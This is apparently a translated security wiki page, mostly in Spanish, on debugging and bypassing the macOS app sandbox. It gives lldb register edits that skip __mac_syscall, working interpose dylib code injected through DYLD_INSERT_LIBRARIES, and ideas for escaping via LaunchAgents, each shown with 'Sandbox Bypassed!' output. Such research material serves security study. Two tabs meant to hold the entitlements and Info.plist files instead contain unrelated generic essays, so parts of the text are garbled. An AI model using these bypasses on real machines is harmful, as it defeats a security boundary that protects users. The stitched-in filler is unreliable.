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Translator 16071dee75 Translated ['backdoors/salseo.md', 'macos-hardening/macos-security-and-p
2023-06-13 10:41:23 +00:00
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macos-office-sandbox-bypasses.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-06-11 01:20:19 +00:00
README.md Translated ['backdoors/salseo.md', 'macos-hardening/macos-security-and-p 2023-06-13 10:41:23 +00:00

README.md

Depuración y Bypass de Sandbox en macOS

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Proceso de carga de Sandbox

Imagen de http://newosxbook.com/files/HITSB.pdf

En la imagen anterior se puede observar cómo se cargará la sandbox cuando se ejecute una aplicación con la concesión com.apple.security.app-sandbox.

El compilador vinculará /usr/lib/libSystem.B.dylib al binario.

Luego, libSystem.B llamará a otras varias funciones hasta que xpc_pipe_routine envíe las concesiones de la aplicación a securityd. Securityd comprueba si el proceso debe ser puesto en cuarentena dentro de la Sandbox, y si es así, se pondrá en cuarentena.
Finalmente, la sandbox se activará con una llamada a __sandbox_ms que llamará a __mac_syscall.

Posibles Bypasses

{% hint style="warning" %} Ten en cuenta que los archivos creados por procesos en sandbox se les añade el atributo de cuarentena para evitar que se escape de la sandbox. {% endhint %}

Ejecutar binarios sin Sandbox

Si ejecutas un binario que no esté en la sandbox desde un binario en sandbox, se ejecutará dentro de la sandbox del proceso padre.

Depuración y bypass de Sandbox con lldb

Compilaremos una aplicación que debería estar en la sandbox:

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
    system("cat ~/Desktop/del.txt");
}

{% endtab %}

{% tab title="README.md" %}

Depuración y bypass de macOS Sandbox

La depuración y el bypass de la sandbox de macOS son técnicas avanzadas que pueden ser utilizadas por atacantes para evadir las protecciones de seguridad de macOS. En este documento, se describen algunas técnicas comunes de depuración y bypass de la sandbox de macOS.

Depuración de la sandbox de macOS

La depuración de la sandbox de macOS se puede realizar utilizando herramientas de depuración como LLDB o GDB. Estas herramientas permiten a los atacantes analizar el comportamiento de los programas que se ejecutan en la sandbox de macOS y encontrar vulnerabilidades que puedan ser explotadas para evadir las protecciones de seguridad.

Bypass de la sandbox de macOS

El bypass de la sandbox de macOS se puede lograr mediante la explotación de vulnerabilidades en el kernel de macOS o en los programas que se ejecutan en la sandbox de macOS. Los atacantes pueden utilizar técnicas como la inyección de código, la escalada de privilegios y la manipulación de la memoria para evadir las protecciones de seguridad de la sandbox de macOS.

Conclusiones

La sandbox de macOS es una característica importante de seguridad que ayuda a proteger los sistemas macOS de los ataques. Sin embargo, los atacantes pueden utilizar técnicas avanzadas de depuración y bypass para evadir estas protecciones de seguridad. Por lo tanto, es importante que los administradores de sistemas y los usuarios de macOS estén al tanto de estas técnicas y tomen medidas para proteger sus sistemas de los ataques.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% endtab %}

{% tab title="Info.plist" %}

macOS Sandbox Debug and Bypass

The macOS sandbox is a powerful security feature that restricts the actions that a process can perform on a system. However, it is not perfect and can be bypassed or debugged in certain circumstances. This guide will cover some techniques for debugging and bypassing the macOS sandbox.

Debugging the macOS Sandbox

Debugging the macOS sandbox can be useful for understanding how it works and identifying potential vulnerabilities. There are several tools and techniques that can be used to debug the sandbox, including:

  • lldb: The LLDB debugger can be used to attach to a sandboxed process and inspect its state. This can be useful for understanding how the sandbox is enforced and identifying potential weaknesses.

  • dtrace: DTrace can be used to trace system calls made by a sandboxed process. This can be useful for understanding how the sandbox is enforced and identifying potential weaknesses.

  • sysdiagnose: The sysdiagnose tool can be used to collect diagnostic information about a sandboxed process. This can be useful for understanding how the sandbox is enforced and identifying potential weaknesses.

Bypassing the macOS Sandbox

Bypassing the macOS sandbox can be useful for performing actions that are restricted by the sandbox. There are several techniques that can be used to bypass the sandbox, including:

  • Exploiting a vulnerability: If a vulnerability exists in the sandbox or in a process running within the sandbox, it may be possible to exploit this vulnerability to bypass the sandbox.

  • Abusing entitlements: Entitlements are permissions granted to a process by the system. If a process has overly permissive entitlements, it may be possible to abuse these entitlements to bypass the sandbox.

  • Abusing interprocess communication: Interprocess communication (IPC) can be used to communicate between processes running within the sandbox and processes running outside of the sandbox. If a process running within the sandbox can communicate with a process running outside of the sandbox, it may be possible to bypass the sandbox.

  • Abusing shared memory: Shared memory can be used to share data between processes running within the sandbox and processes running outside of the sandbox. If a process running within the sandbox can access shared memory that is also accessible by a process running outside of the sandbox, it may be possible to bypass the sandbox.

  • Abusing file system permissions: If a process running within the sandbox has overly permissive file system permissions, it may be possible to abuse these permissions to bypass the sandbox.

  • Abusing environment variables: Environment variables can be used to pass information between processes. If a process running within the sandbox can set an environment variable that is read by a process running outside of the sandbox, it may be possible to bypass the sandbox.

  • Abusing dynamic libraries: If a process running within the sandbox loads a dynamic library that is also loaded by a process running outside of the sandbox, it may be possible to bypass the sandbox.

  • Abusing code signing: If a process running within the sandbox can load a code-signed binary that is also loaded by a process running outside of the sandbox, it may be possible to bypass the sandbox.

  • Abusing kernel extensions: If a process running within the sandbox can load a kernel extension that is also loaded by a process running outside of the sandbox, it may be possible to bypass the sandbox.

It is important to note that bypassing the macOS sandbox can be difficult and may require a significant amount of expertise. Additionally, bypassing the sandbox can be illegal and may result in legal consequences. It is important to only attempt to bypass the sandbox for legitimate purposes and with appropriate legal authorization.

<plist version="1.0">
<dict>
    <key>CFBundleIdentifier</key>
    <string>xyz.hacktricks.sandbox</string>
    <key>CFBundleName</key>
    <string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Luego compila la aplicación:

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

{% endcode %}

{% hint style="danger" %} La aplicación intentará leer el archivo ~/Desktop/del.txt, lo cual el Sandbox no permitirá.
Cree un archivo allí ya que una vez que se haya evadido el Sandbox, podrá leerlo:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

{% endhint %}

Depuremos la aplicación de ajedrez para ver cuándo se carga el Sandbox:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
    frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
    frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
    frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
    frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
  x2 = 0x000000016fdfd660
  
# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
    0x187659904 <+4>:  svc    #0x80
    0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
    0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

{% hint style="warning" %} Incluso con el Sandbox evadido, TCC preguntará al usuario si desea permitir que el proceso lea archivos del escritorio. {% endhint %}

Abusando de otros procesos

Si desde el proceso del sandbox eres capaz de comprometer otros procesos que se ejecutan en sandboxes menos restrictivos (o sin ellos), podrás escapar a sus sandboxes:

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Bypass de Interposting

Para obtener más información sobre Interposting, consulta:

{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interponer _libsecinit_initializer para evitar el sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
    printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
	void (*overriden__libsecinit_initializer)(void);
	void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interponer __mac_syscall para evitar el Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
    printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
    if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
        printf("Bypassing Sandbox initiation.\n");
        return 0; // pretend we did the job without actually calling __mac_syscall
    }
    // Call the original function for other cases
    return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
    const void *replacement;
    const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
    { (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Compilación estática y vinculación dinámica

Esta investigación descubrió 2 formas de eludir el Sandbox. Debido a que el sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca libSystem. Si un binario pudiera evitar cargarlo, nunca se sandboxearía:

  • Si el binario estuviera completamente compilado estáticamente, podría evitar cargar esa biblioteca.
  • Si el binario no necesitara cargar ninguna biblioteca (porque el enlazador también está en libSystem), no necesitaría cargar libSystem.

Shellcodes

Tenga en cuenta que incluso los shellcodes en ARM64 deben vincularse en libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Abuso de ubicaciones de inicio automático

Si un proceso con sandbox puede escribir en un lugar donde más tarde se ejecutará el binario de una aplicación sin sandbox, podrá escapar simplemente colocando allí el binario. Un buen ejemplo de este tipo de ubicaciones son ~/Library/LaunchAgents o /System/Library/LaunchDaemons.

Para esto, incluso puede necesitar 2 pasos: hacer que un proceso con un sandbox más permisivo (file-read*, file-write*) ejecute su código, que en realidad escribirá en un lugar donde se ejecutará sin sandbox.

Consulte esta página sobre ubicaciones de inicio automático:

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Referencias

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